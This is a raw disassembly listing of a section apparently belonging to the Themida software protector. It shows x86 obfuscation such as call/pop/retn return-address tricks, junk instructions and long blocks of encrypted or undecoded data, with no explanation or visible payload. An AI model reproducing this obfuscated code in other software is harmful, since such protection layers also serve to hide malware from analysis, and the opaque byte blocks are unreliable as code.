dd 8B000001h, 0E419FDBDh, 0D98C6607h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 19h, 39C35343h, 862C5B45h, 9D8B6082h
dd 7E4316Dh, 9DB501h, 0F86107E4h, 0F04C1F6h, 0DC84h, 66F78B00h
dd 95FFFB8Bh, 7E42D91h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ah, 0C9C35343h, 889D72D1h, 0BD8915EDh, 7E414CDh
dd 52006A5Bh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h
dd 0C3524200h, 12E8D603h, 43000000h, 838803EFh, 0C74355E0h
dd 4DFB1280h, 0E290C79h, 3E78124h, 5E775436h, 6E9C32Bh
dd 0B0000000h, 0DC9EC951h, 5B12BE97h, 343D3D46h, 0F000008h
dd 5086h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1B04h, 0C3514100h, 2EBDB55Fh, 70AA7903h, 2DF1B589h
dd 4BE907E4h, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 14042444h, 41000000h, 8BCDC351h, 0E41815B5h
dd 6AC08B07h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 19042444h, 43000000h, 3C6BC353h, 7328C0ACh, 0B6DBD89h
db 0E4h, 7
; ---------------------------------------------------------------------------
loc_5C517A: ; CODE XREF: Themida_:loc_5C4DD3j
mov eax, ebx
mov ebx, eax
stc
mov dword ptr [ebp+7E43591h], 170DEF19h
push 0 ; CODE XREF: Themida_:005C51EAj
push ebp
call sub_5C5194
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C5194 proc near ; CODE XREF: Themida_:005C518Cp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 14h
loc_5C51A1: ; CODE XREF: Themida_:005C51EFj
inc ebp
push ebp
retn
sub_5C5194 endp
; ---------------------------------------------------------------------------
fisttp word ptr [ecx-1BF0B273h]
pop es
jnp loc_5C51B5
mov di, 6345h
loc_5C51B5: ; CODE XREF: Themida_:005C51ABj
mov eax, eax
push 0
push eax
call sub_5C51C2
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C51C2 proc near ; CODE XREF: Themida_:005C51BAp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_5C51C2 endp
; ---------------------------------------------------------------------------
dw 73E8h
; ---------------------------------------------------------------------------
push ds
jmp loc_5C51E1
; ---------------------------------------------------------------------------
dw 6F22h
dd 0CA1D979Bh
; ---------------------------------------------------------------------------
scasd
loc_5C51E1: ; CODE XREF: Themida_:005C51D5j
call near ptr loc_5C51F8+2
fmul st, st(4)
mov bl, 3Bh
jbe short near ptr loc_5C5189+1
adc edx, [ebx+6Fh]
loop loc_5C51A1
or [edi-21EF69A0h], dl
cld
loc_5C51F8: ; CODE XREF: Themida_:loc_5C51E1p
imul ebx, [edi], 0Bh
mov ch, 29h
push ds
in al, 7 ; DMA controller, 8237A-5.
; channel 3 current word count
pop edi
cmp dword ptr [ebp+7E42AD5h], 7D0h
jnz loc_5C526D
push 0
push ebp
call sub_5C521C
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C521C proc near ; CODE XREF: Themida_:005C5214p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 14h
inc ebp
push ebp
retn
sub_5C521C endp
; ---------------------------------------------------------------------------
dd 5E836h, 9AF90000h, 89ABF736h, 0E400FD9Dh, 85FF5F07h
dd 7E42AD5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Bh, 19C35242h, 0D70B1730h, 899CFAB2h, 0E430ADB5h
; ---------------------------------------------------------------------------
pop es
loc_5C526D: ; CODE XREF: Themida_:005C520Bj
push dword ptr [ebp+7E42AD5h]
push 0
push ebp
call sub_5C527E
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C527E proc near ; CODE XREF: Themida_:005C5276p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_5C527E endp
; ---------------------------------------------------------------------------
and ecx, [ebx+ebx*2]
mov ch, 8Bh
mov ebp, 7E4278Dh
call dword ptr [ebp+7E40E41h]
nop
push 0
push edi
call sub_5C52AA
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C52AA proc near ; CODE XREF: Themida_:005C52A2p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_5C52AA endp
; ---------------------------------------------------------------------------
dw 0DB1Eh
dd 9582EFBCh, 6A774E95h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 14042444h, 40000000h, 292FC350h, 0E432399Dh
dd 14E907h, 0FFBA0000h, 0AFA24D1Ah, 0DB0685F3h, 710FFBC4h
dd 7CA11C22h, 6A1805h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1A0424h, 56460000h, 1F68BBC3h, 0B3BE820Eh, 4D9BD89h
dd 0BD8B07E4h, 7E42469h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 15h, 0C3C35545h, 51958906h, 8107E418h, 26FBDFh
dd 81666032h, 614D92F2h, 8F0Fh, 9D890000h, 7E40089h, 0C5E78166h
dd 55006AFBh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h
dd 0C3554500h, 0E6C3BF61h, 50F28DC2h, 13E805h, 3E070000h
dd 5539FFAFh, 3542F4D2h, 0B85F5A70h, 5132FAD0h, 0CF815F5Bh
dd 41F810A3h, 0FFF800E9h, 0BE8FFh, 89190000h, 1F30917Eh
dd 2971A446h, 159D89F9h
db 0Bh
byte_5C53C9 db 0E4h, 7, 5Fh ; DATA XREF: Themida_:00582F38o
; Themida_:00584F6Co
; ---------------------------------------------------------------------------
loc_5C53CC: ; CODE XREF: Themida_:005C4BB0j
mov eax, ecx
movzx esi, cx
mov esi, [ebp+7E43301h]
jmp short loc_5C53DD
; ---------------------------------------------------------------------------
align 4
db 0
; ---------------------------------------------------------------------------
loc_5C53DD: ; CODE XREF: Themida_:005C53D7j
mov [ebp+7E43321h], esi
jmp loc_5C53FA
; ---------------------------------------------------------------------------
dd 0B0C3715Eh, 0E1C3B043h, 0EEA0EEC2h, 32D5AED6h
; ---------------------------------------------------------------------------
mov dl, 47h
loc_5C53FA: ; CODE XREF: Themida_:005C53E3j
lea eax, [ebp+7E40D85h]
pusha
pusha
jmp loc_5C540F
; ---------------------------------------------------------------------------
db 7Ch
dd 9984321Fh
db 79h, 70h, 0DEh
; ---------------------------------------------------------------------------
loc_5C540F: ; CODE XREF: Themida_:005C5402j
ja $+6
popa
mov edx, 86E31A1h
popa
push eax
push edx
mov esi, 2CC21C29h
pop edi
mov [esp], eax
mov [ebp+7E40455h], edi
push eax
mov edi, [ebp+7E43355h]
pop edi
push 0
push 0
push ebp
call sub_5C5442
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C5442 proc near ; CODE XREF: Themida_:005C543Ap
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_5C5442 endp
; ---------------------------------------------------------------------------
neg dword ptr [eax-77h]
popf
cmp eax, 6A07E405h
add [esi+250279B8h], bh
mov esi, 1DF48B46h
lea eax, [ebp+7E83107h]
push 0
push eax
call sub_5C5477
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C5477 proc near ; CODE XREF: Themida_:005C546Fp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ch
inc eax
push eax
retn
sub_5C5477 endp
; ---------------------------------------------------------------------------
add ch, ah
mov cl, 0EAh
pop edi
or [eax+ebx*8-0F48F0FDh], cl
jnz loc_5C549C
movzx esi, di
loc_5C549C: ; CODE XREF: Themida_:005C5493j
add eax, 5
xor [ebp+7E41995h], ecx
push eax
jmp loc_5C54B6
; ---------------------------------------------------------------------------
db 8Ah
; ---------------------------------------------------------------------------
push ebx
xor al, 0DBh
retn 6630h
; ---------------------------------------------------------------------------
mov bl, 35h
db 67h
stc
loc_5C54B6: ; CODE XREF: Themida_:005C54A6j
mov [esp], eax
xor [ebp+7E41BE1h], edi
push 0
push 0
push ebx
call sub_5C54CC
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C54CC proc near ; CODE XREF: Themida_:005C54C4p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_5C54CC endp
; ---------------------------------------------------------------------------
dd 2627DB77h, 6ACFE1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ah, 87C35343h, 41550EC8h, 0CF8163DEh, 65FD6A4Bh
dd 247195FFh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 190424h, 52420000h, 0A02CBDC3h, 8DE045FCh, 0E7D64B9Dh
dd 7830F07h, 60000000h, 0B0D98B66h, 0D3FF61F4h, 5CB8D8BFh
dd 0B985FF72h, 6A07E420h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1D042444h, 40000000h, 0E75C350h, 0DA9599B8h
dd 0B093BF31h, 0AE8h, 88B47900h, 5082E01Ah, 0E9A5B0F5h
dd 5, 0B6F34A67h, 0CFE95E6Dh, 0E8000008h, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 7E83111h
mov [ebp+7E41469h], edi
cmp dword ptr [ebp+7E42AD5h], 7D0h
jbe loc_5C579D
push 0
push edx
call sub_5C55C4
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C55C4 proc near ; CODE XREF: Themida_:005C55BCp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_5C55C4 endp
; ---------------------------------------------------------------------------
push edi
add [edi], esp
cmp al, 0C8h
mov ebx, [ebp+7E41AC5h]
push 0
push edx
call sub_5C55EA
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C55EA proc near ; CODE XREF: Themida_:005C55E2p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_5C55EA endp
; ---------------------------------------------------------------------------
cld
test eax, 338349EFh
push edx
jg loc_5C560F
push edi
jnz $+6
pop esi
loc_5C560F: ; CODE XREF: Themida_:005C5601j
and ebx, 100h
push 0
push esi
call sub_5C5620
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C5620 proc near ; CODE XREF: Themida_:005C5618p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_5C5620 endp
; ---------------------------------------------------------------------------
fnstsw word ptr [esi-72D6408Ch]
mov ecx, 0F507E431h
or ebx, ebx
jnz loc_5C56F6
push 0
push edx
call sub_5C564E
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C564E proc near ; CODE XREF: Themida_:005C5646p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_5C564E endp
; ---------------------------------------------------------------------------
dw 84E9h
dd 1F32304Eh, 89751368h, 0E42DD58Dh, 4EBD8307h, 7E82Fh
dd 3D840Fh, 8D290000h, 7E41395h, 0B0E9h, 0DE800h, 0C0100000h
dd 250CB52Ch, 0A134A1E4h, 0E8924AA4h, 12h, 4AB636FBh, 93EC647Ch
dd 64654D2Fh, 83694337h, 5FFCA613h, 8D8D895Eh, 0C707E419h
dd 0E82F4E85h, 107h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1C04h, 0C3534300h, 0DD204B7h, 0CE7E1C51h
dd 8DBD0139h, 0E907E41Fh, 45h, 16ADB58Bh
db 0E4h, 7
; ---------------------------------------------------------------------------
loc_5C56F6: ; CODE XREF: Themida_:005C563Dj
mov dword ptr [ebp+7E82F4Eh], 0
push 0
push ebx
call sub_5C570B
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C570B proc near ; CODE XREF: Themida_:005C5703p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_5C570B endp
; ---------------------------------------------------------------------------
jnb short near ptr loc_5C574B+3
xchg eax, ebp
pop ebp
add al, 0E4h
pop es
jmp loc_5C5735
; ---------------------------------------------------------------------------
db 8Eh
dd 0AB0E26EAh, 0DD8611FEh, 0A7600E2Dh
; ---------------------------------------------------------------------------
inc edx
loc_5C5735: ; CODE XREF: Themida_:005C5722j
lea ebx, [ebp+7E41AC5h]
push 0
push ecx
call sub_5C5746
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C5746 proc near ; CODE XREF: Themida_:005C573Ep
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
loc_5C574B: ; CODE XREF: Themida_:005C571Bj
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_5C5746 endp
; ---------------------------------------------------------------------------
dw 7BFEh
; ---------------------------------------------------------------------------
cmp edi, [esi+53h]
sub ds:8B663DFAh[ebx*2], ch
sti
and dword ptr [ebx], 0FFFFFEFFh
push 0
push ecx
call sub_5C5774
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C5774 proc near ; CODE XREF: Themida_:005C576Cp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 14h
inc ecx
push ecx
retn
sub_5C5774 endp
; ---------------------------------------------------------------------------
dd 68D0F09h, 89000000h, 0E404D185h, 6850F07h, 8B000000h
dd 0E430B9BDh
; ---------------------------------------------------------------------------
pop es
loc_5C579D: ; CODE XREF: Themida_:005C55B3j
mov bx, ds
push 0
push ebp
call sub_5C57AB
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C57AB proc near ; CODE XREF: Themida_:005C57A3p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 19h
inc ebp
push ebp
retn
sub_5C57AB endp
; ---------------------------------------------------------------------------
inc byte ptr [ebx+7E37B9FEh]
mov di, cx
test bl, 4
jz loc_5C57F1
mov [ebp+7E41EC1h], ecx
call dword ptr [ebp+7E42D91h]
or edi, 25FB3B62h
nop
mov edi, 1D303CAAh
push eax
nop
and edi, [ebp+7E41C31h]
mov di, 1210h
loc_5C57F1: ; CODE XREF: Themida_:005C57C7j
jmp loc_5C5C38
; ---------------------------------------------------------------------------
dw 8D09h
dd 7E4159Dh, 0BD3100B0h, 7E422C5h, 0EE970E6h, 55000000h
dd 3D193232h, 0CCC16018h, 0B2BA78CAh, 6810F5Fh, 9000000h
dd 0E40A859Dh, 6A71E407h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 18042444h, 47000000h, 0D136C357h, 60A78241h
dd 1A58589h, 895207E4h, 0E421F9B5h, 0F615F07h, 6AD8B6h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
dd 0A59B95C3h, 6BAh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1D04h, 0C3564600h, 5AAF332Eh, 23013B74h
dd 0BD8B5906h, 7E42D95h, 6AC38Bh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 0F0C17C3h, 89B509F8h
dd 0F07E425h, 86h, 4E8C100h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 16h, 40C35242h, 8B5757C2h, 0E43181BDh
dd 0F7665E07h, 56006AE2h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1604h, 0C3564600h, 0FEE46F9h, 0D82BF2B7h
dd 9C18D89h, 9D8907E4h, 7E4186Dh, 8B666050h, 61F98BC7h
dd 60241C89h, 61F18B66h, 2AD5B5FFh, 860F07E4h, 6, 58C9CF81h
dd 95FF6378h, 7E40E41h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 19h, 93C35040h, 0D05E3A6Ah, 91BD8B60h, 0B007E423h
dd 9DBD8B00h, 0E607E414h, 57006A70h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 10998D13h
dd 2C9B169Bh, 8B71E4C6h, 0F613CFBh, 27F83h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
dd 914166Ah, 15F632D1h, 0DE817690h, 1249FFAFh, 6AD8B60Fh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h
dd 45000000h, 49C3C355h, 0E935391Fh, 6, 5E3289A5h, 8589E258h
dd 7E415D1h, 6BAh, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1504h, 0C3504000h, 820FC294h, 0Dh, 8E9h
dd 5157EE00h, 0ED48A5C6h, 89C38BD5h, 0E41415BDh, 0E8BE6607h
dd 4E8C1D9h, 6AE2F766h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1A042444h, 42000000h, 0F28C352h, 57830D44h
dd 0FB8B660Ch, 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1C0424h, 55450000h, 44A220C3h, 0AB789176h, 0BE92930h
dd 0F7000000h, 0C670F1ABh, 0D1662E96h, 6A587851h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 25BEC356h, 0FD82B0Eh, 15788h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 62B562FBh
dd 7B9h, 0F7816600h, 0C183B18Ah, 79B58B00h, 3B07E402h
dd 1D860FD9h, 6A000001h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1B042444h, 46000000h, 7B29C356h, 4CFBB30Ch
dd 10E9B35Ah, 0AA000000h, 53685F8Ah, 92518B92h, 6BA1E5D1h
dd 661D5242h, 0F6F8D98Ch, 840F04C1h, 0A2h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 17h, 76C35040h, 0FF2C78BCh
dd 0E42D9195h, 0F1958907h, 5B07E423h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Dh, 3EC35646h, 36808BA3h, 30D8131Dh
dd 6E9DCh, 3ACC0000h, 0BE62FAA0h, 6AC32Bh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 160424h, 50400000h, 26EB7FC3h
dd 6E9h, 1C240400h, 3DE42DC3h, 834h, 10860Fh, 0AABE0000h
dd 0E96A298Dh, 3Ch, 89B6D781h, 0C08B0EABh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 34C35040h, 8CF211F2h
dd 0BD8B35AAh, 7E431D5h, 68E0Fh, 0BD8B0000h, 7E42D61h
; ---------------------------------------------------------------------------
loc_5C5C38: ; CODE XREF: Themida_:loc_5C57F1j
mov eax, ebx
mov ebx, eax
push 0
push eax
call sub_5C5C47
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C5C47 proc near ; CODE XREF: Themida_:005C5C3Fp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5C5C47 endp
; ---------------------------------------------------------------------------
adc [edi], eax
cmp ebp, [edx-5FF34516h]
jb loc_5C5C6C
ja loc_5C5C6C
cld
loc_5C5C6C: ; CODE XREF: Themida_:005C5C5Fj
; Themida_:005C5C65j
mov dword ptr [ebp+7E40965h], 71681151h
push 0
push ecx
call sub_5C5C81
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C5C81 proc near ; CODE XREF: Themida_:005C5C79p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_5C5C81 endp
; ---------------------------------------------------------------------------
mov dh, 2Bh
mov al, 5Bh
imul ebp, [ebx-7A763F75h], 7E404D1h
cmp dword ptr [ebp+7E42AD5h], 7D0h
jnz loc_5C5CE3
push 0
push esi
call sub_5C5CBA
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C5CBA proc near ; CODE XREF: Themida_:005C5CB2p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_5C5CBA endp
; ---------------------------------------------------------------------------
dw 40E3h
dd 0FF579CB7h, 6694E8D1h, 12B4EE81h, 2AD585FFh, 0B2BE07E4h
; ---------------------------------------------------------------------------
fnstenv byte ptr [edi+27h]
loc_5C5CE3: ; CODE XREF: Themida_:005C5CA9j
push dword ptr [ebp+7E42AD5h]
push 0
push edx
call sub_5C5CF4
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C5CF4 proc near ; CODE XREF: Themida_:005C5CECp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_5C5CF4 endp
; ---------------------------------------------------------------------------
imul ecx, [edi], 61h
sub [ebp+7E431C5h], ecx
call dword ptr [ebp+7E40E41h]
jmp loc_5C5D22
; ---------------------------------------------------------------------------
dd 0ECC6163Ch, 2F5534F5h
db 0BFh, 81h
; ---------------------------------------------------------------------------
loc_5C5D22: ; CODE XREF: Themida_:005C5D13j
nop
xor [ebp+7E40BA5h], esi
jle loc_5C5D34
mov esi, 4AD87B76h
loc_5C5D34: ; CODE XREF: Themida_:005C5D29j
sub [ebp+7E403C5h], ecx
push 0
push esi
call sub_5C5D45
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C5D45 proc near ; CODE XREF: Themida_:005C5D3Dp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_5C5D45 endp
; ---------------------------------------------------------------------------
db 7Ch, 92h, 6Eh
dd 8817F742h, 0CE8h, 0C7C1FD00h, 0EFD7BEBEh, 0A43D4D77h
dd 82EEBFE6h, 295F1279h, 0E4307DB5h, 0F8BF0F07h, 0FF7BF0Fh
dd 68Eh, 31B58900h, 8907E41Fh, 0E40EE1BDh, 50006A07h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
dd 61A3DCEAh, 34D70DD0h, 0FDB5234Fh, 8B07E42Ah, 5B503FBh
dd 0BE07E40Ah, 6222BEA3h, 0D558589h, 0F9F907E4h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0C0C35747h, 89772531h
dd 0E41AB5B5h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1404h, 0C3534300h, 22880F4Dh, 60000000h
dd 0BE8h, 99CB100h, 4791549h, 0B13DC8ACh, 2958535Bh, 0E421018Dh
dd 3161F507h, 0E4042185h, 75BD8B07h, 0E907E40Bh, 0FFFFF753h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0F5C35141h
dd 0A12E2BD4h, 2AE98D5Eh, 3E000000h, 49AB69h, 9 dup(0)
dd 58AE900h, 8D650000h, 0E8C1D76Bh, 421E34C8h, 9F7E9428h
dd 6E1F78Bh, 777D56EAh, 53E703DEh, 0B145633Dh, 13A7BD9Bh
dd 740820FDh, 0EF9411C1h, 6B13AA9Ah, 79569726h, 805B2961h
dd 0DDBAD064h, 0E2BF8DC5h, 6CA4B897h, 4D6B45D1h, 0C542A4F4h
dd 1442A03Eh, 17688861h, 44D69CAEh, 0A09E65E2h, 0CC3C1442h
dd 0D6919A00h, 8D9FF8F4h, 427A9A73h, 48809674h, 0FA869C7Ah
dd 15CC041Eh, 0D653063Eh, 14423C21h, 0C9EB44ADh, 4825184Ch
dd 0A8869C30h, 0AE8FE92h, 14EEBCF4h, 2E08A6F6h, 8138FE10h
dd 0A583FAAAh, 0AF21FB8Fh, 0BD9B3170h, 224147A7h, 0C7A45BD8h
dd 0C9321442h, 67445E70h, 8561FF4Fh, 0E693596Bh, 1442C714h
dd 0BA90B09h, 0D6AD182Ch, 841442C7h, 386C091Bh, 5BAA7B84h
dd 50AB1DE0h, 42709FC6h, 0BEFD9CAEh, 1D000000h, 548CA07Fh
dd 92D2A7B9h, 9FB39230h, 9A61CC67h, 381442A0h, 4FA8BE9Ch
dd 2E46233Dh, 0A0B449F6h, 0B06D1442h, 1137C8F4h, 0DA0E05Ch
dd 0C0000000h, 8726F24Eh, 88648889h, 2E03156Eh, 4E2A7D56h
dd 861FC34h, 0C2A03ED0h, 0A7809AACh, 35C53787h, 0E0F2B89Ch
dd 2C09EE6Bh, 5CC51442h, 5D2BF103h, 7C1A6A7Eh, 804E86A0h
dd 21338CA2h, 90B18D5Bh, 0CBC9B2B0h, 0CC045D77h, 0B9426C2Ah
dd 0CC58A7E6h, 1922CEF1h, 0FD428FB7h, 8B086CA4h, 6D8964DBh
dd 1F419A35h, 0D8E5C361h, 42ECA45Bh, 70C93214h, 758D6A38h
dd 396D0A1Ch, 0B94D6D46h, 1AAEC6A3h, 0DC90CE40h, 3CBB2525h
dd 0D9EB4462h, 5F7B5604h, 69805927h, 42A017ECh, 0B047C414h
dd 1E1442A0h, 0A2FB64B5h, 23632C6Ah, 0B145613Ch, 7B9FBE9Bh
dd 38D3B258h, 14A6DE37h, 467E9C76h, 0A37F99ABh, 0A9835189h
dd 0A685538Bh, 0CCA35A92h, 6F80D898h, 0B3A88737h, 986DE05Bh
dd 96000000h, 275F7B56h, 13637D59h, 2EFAF3A1h, 0C1D33F77h
dd 38502DFBh, 86745E00h, 0C9797729h, 1048603Dh, 3B772FACh
dd 75E89C19h, 902E7E9Ah, 698B9DB1h, 50297853h, 2EC7BC39h
dd 2A931442h, 724078D1h, 331B7893h, 0BEFBB604h, 98771565h
dd 0FF1FF884h, 541A2CC7h, 0C1FDA9BAh, 0E05C016Eh, 69A8F668h
dd 579A3D8Dh, 5CA645h, 54C60000h, 9880D4DFh, 6F896549h
dd 562F0416h, 59275F7Bh, 0AF16E7Bh, 0C81442A0h, 0A014EB68h
dd 59C21442h, 8E6FA700h, 9E45B0Bh, 568859EDh, 6F0D5D7Dh
dd 536B4891h, 0C727801Bh, 0E421679Ah, 4E142678h, 4219DFA1h
dd 5F07C414h, 8B9F7E1Ch, 0CBA6B853h, 0E05B5834h, 1A1h
dd 7A56CA00h, 7D5A2860h, 0E4A31565h, 0C88123A9h, 21EFB5C7h
dd 22F02848h, 60F22A48h, 422D1CE3h, 2F51BA14h, 49BEF2B2h
dd 6F4B3272h, 0EDA2C155h, 0BEF471C1h, 7D13A61Ch, 8A9E7D1Bh
dd 0B74CB752h, 2313A61Eh, 1EB146C3h, 0B41D13A6h, 16A495Bh
dd 31C537C9h, 0A737B44Ah, 20798D6Ch, 0FF17F40Eh, 2D78556Bh
dd 0A4DC3553h, 0A60706F7h, 4BFB7E13h, 7D957210h, 5C74516Bh
dd 0BDD5B2C8h, 0C2DAB785h, 0C3834C8Ah, 0C50B2698h, 0C726C50h
dd 0EB03E0FAh, 0A7F8057h, 2758D878h, 81000001h, 5D39424Dh
dd 1D9AEA43h, 13A6BE43h, 0E658A811h, 0F5D1AB38h, 0E5B97BDBh
dd 9D79DAFh, 0A680142Ch, 8330C744h, 359E13A6h, 142C0923h
dd 6BE84ADCh, 13A68394h, 0B2C8A642h, 7486DF7Ah, 15657D5Ah
dd 6F819B77h, 0E2A26BA9h, 204019B7h, 21411AE8h, 0E3F54EE9h
dd 40D4ECC9h, 1703F466h, 0CAE509E4h, 1D7D80E9h, 0A1B3A079h
dd 77CA39C6h, 4A9ED8h, 4CBE0000h, 12B00B1Fh, 8B607243h
dd 1A6A444Dh, 0BD5F069Dh, 40E3556Bh, 70F4FF7Eh, 9801E0F2h
dd 0B7CBAA48h, 4D32DFA5h, 0CE94427Bh, 0D3A1D9F1h, 67A5DDF7h
dd 0ADAAE69Eh, 0DBB6BEE6h, 910683D3h, 0BDEBBD84h, 6BF2C054h
dd 81000000h, 1C6C424Dh, 0A6B9F59Fh, 0FA329B13h, 0F2890668h
dd 6013A6BAh, 0EECBE5F7h, 4F2C42D6h, 0B6DFF37h, 0A6BAE98Eh
dd 70FC6513h, 0A43F7797h, 0BA199992h, 591D13A6h, 0B0C2E2BBh
dd 0FEC5313h, 0EB8963F7h, 0BDE0F212h, 0F8CDCD2h, 144E828Ch
dd 532159C2h, 700E5E76h, 0A7427A94h, 4118CF95h, 307E1105h
dd 0CC7863E0h, 0AD161C66h, 424D4819h, 0B9455B39h, 1C6CC5DBh
dd 0AA993C9Fh, 0D9B55313h, 7AA911B8h, 55E5E6Ah, 412032CDh
dd 0F5D2A0D8h, 58B1D1AAh, 0B9D1AEC4h, 0FFE7D481h, 25A25DE9h
dd 921FE61h, 6A825F75h, 71856432h, 778D6B39h, 7B95713Fh
dd 431CA843h, 870AEB23h, 471E93DFh, 2B43201Fh, 8CA48197h
dd 0FCE54h, 925D0000h, 9DFD19F4h, 2424B0F1h, 775A6C70h
dd 5C7E5628h, 61795624h, 677D5B29h, 6987612Fh, 6C886331h
dd 6F8B6634h, 768A6937h, 7A94703Eh, 7B9B7442h, 8956EE43h
dd 4C681E6h, 83000000h, 0FF5604EEh, 5E042474h, 5C24048Fh
